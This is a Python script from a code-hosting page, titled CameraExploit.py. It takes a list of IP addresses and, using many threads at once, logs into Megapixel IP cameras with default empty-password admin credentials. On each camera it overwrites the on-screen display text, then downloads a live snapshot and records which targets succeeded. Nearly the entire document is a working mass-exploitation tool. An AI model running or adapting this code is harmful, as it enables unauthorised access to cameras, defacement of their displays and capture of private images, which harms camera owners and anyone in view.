-
Notifications
You must be signed in to change notification settings - Fork 1
/
CameraExploit.py
91 lines (77 loc) · 3.42 KB
/
CameraExploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import requests
import os
import threading
import time
import sys
# Check if a filename is provided as a command-line argument
if len(sys.argv) != 2:
print("Usage: python script.py <filename>")
sys.exit(1)
filename = sys.argv[1]
goods_file = open('success.txt', 'w')
fails_file = open('fails.txt', 'w')
goods = 0
fails = 0
lock = threading.Lock() # Lock for thread-safe writing to files
def erase():
os.system('cls' if os.name == 'nt' else 'clear')
def ui(var1):
erase()
time.sleep(3)
print(f"Currently Testing: {var1} \n")
def MegaPixel(var1): # Start Megapixel IP Camera Exploit
global goods, fails
try:
ui(var1)
response = requests.post(f"http://{var1}/form/OSDSet", headers={
"Host": var1,
"Content-Length": "464",
"Cache-Control": "max-age=0",
"Authorization": "Basic YWRtaW46",
"Upgrade-Insecure-Requests": "1",
"Origin": f"http://{var1}",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": f"http://{var1}/browse/settings/videoAudioSet.asp?_=1688281786092",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close",
"Cookie": "dev=214; BSDdev=1; ICEtype=0; SU=admin; jsLivePresetNo=0; jsLiveAutopanNo=0; jslivePatternNum=0; jsliveTourNum=0; playMode=NaN"
}, data="Text1OSDEnable=1&Text1OSDX=2&Text1OSDY=2&OSD1Size=1&OSD1Str=github.com/&Text2OSDEnable=1&Text2OSDX=2&Text2OSDY=10&OSD2Size=1&OSD2Str=/BoomSec/Megapixel-IP-Camera-POC&Text3OSDDisable&MultipleOSDEnable=0&DTimeOSDEnable=1&DTimeOSDX=95&DTimeOSDY=2&DTimeOSDSize=1", timeout=30)
if response.status_code == 200:
# Save the image in the subdirectory
image_grab = requests.get(f"http://{var1}//jpgmulreq/1/image.jpg?key=1703242541988&lq=12", timeout=30) # Replace with the actual path to the image
image_path = os.path.join("CameraSnaps", f"{var1}_image.jpg")
with open(image_path, 'wb') as image_file:
image_file.write(image_grab.content)
with lock:
goods_file.write(var1 + '\n')
goods += 1
else:
with lock:
fails_file.write(var1 + '\n')
fails += 1
# Additional actions for failed request
except requests.exceptions.Timeout:
with lock:
fails_file.write(var1 + '\n')
fails += 1
# Additional actions for request timeout
except requests.exceptions.ConnectionError:
with lock:
fails_file.write(var1 + '\n')
fails += 1
# Additional actions for connection error
with open(filename, 'r') as file:
threads = []
for line in file:
var1 = line.strip()
thread = threading.Thread(target=MegaPixel, args=(var1,))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
goods_file.close()
fails_file.close()
print("Done")